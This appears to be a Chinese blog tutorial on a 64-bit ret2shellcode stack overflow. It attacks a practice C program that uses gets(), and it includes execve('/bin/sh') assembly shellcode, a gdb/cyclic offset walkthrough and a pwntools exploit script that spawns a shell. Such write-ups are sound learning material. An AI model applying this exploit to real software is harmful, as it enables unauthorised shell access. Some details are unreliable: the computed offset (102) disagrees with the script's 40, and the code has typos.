Rop-Ret2Shellcode-64位实例

Rop-Ret2Shellcode-64位实例

前面写过了32位的shellcode,这次继续64位shellcode,当我们的64位程序中没有system函数,并且开启了NX保护时,这时我们需要用到64位的shellcode来执行execve(“/bin/sh”,null,null);

如何编写shellcode呢?
①想办法调用execve("/binsh" , null, null);
②借助栈来传入字符串/bin/sh
③系统调用execve
rax = 0x3b(64bit)
rdi = bin_sh_addr(参数一)
rsi = 0(参数二)
rdx = 0(参数三)

xor rax, rax
add rax,0x3b
xor rdi, rdi
push rdi
movrdi,0×68732f2f6e69622f
push rdi
lea rdi,[rsp]
xor rsi,rsi
xor rdx,rdx
syscall

实例如下:

#include<stdio.h>
char buf2[200];
int main()
setvbuf(stdout,0,2,0);char buf[ 20];  //优化,一般不用管
printf( "what's your name: ");
gets (buf);
printf( "leave message: ");
gets (buf2);
puts(buf2);
return 0;
}

实例中,buf2字符串中有200个字节,我们可以将shellcode写入内存,然后第二次调用的时候,就能够执行我们的shelllcode函数,首先我们要看一下buf2段所处的位置,同时我们还要看一下这一个断中有没有执行权限。
开始调试 -------没开启任何的保护
在这里插入图片描述
Objdump –d –M intel ret2shellcode1 |grep buf2 搜索buf2字段。
在这里插入图片描述
Objdump –d –M intel ret2shellcode1查看反汇编
在这里插入图片描述
在buf2的代码处下断点 b *400671
在这里插入图片描述
断点下好后运行程序,最后断下来使用vmmap命令查看段信息
发现框起来的601000-602000之间的数据权限是可操作的,所以我们可以将shellcode代码写进去。
在这里插入图片描述
然后我们就开始计算偏移地址
Cyclic 500生成数据,重新运行程序,将数据传入第一个get函数中,第二个函数的输入随便输入,然后运行得到如下所示,这里的地址报错
在这里插入图片描述
然后使用cyclic –l 0x61626261计算偏移
计算出偏移为102
计算出偏移后,下面开始写exp

from pwn import *
context(arch = "amd64",os = "linux",log_level= "debug")
p = process("./ret2shellcode1")
e =ELF("./ret2shellcode1")
buf2 = e.symbols["buf2"]     “”“利用系统函数查找buf2地址“””
offset = 40
shellcode = asm(shellcraft.sh())  “”“”自动生成shellode“”
payload = offset*'a'+ p64(buf2)      “”“将buf2段的地址写入返回地址,然后程序会返回到buf2字段处”“”
p.recvuntil(":")             
p.sendline(payload)
payload2=shellcode.ljust(200,"a")
p.sendline(payload2)
p.interactive() 
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值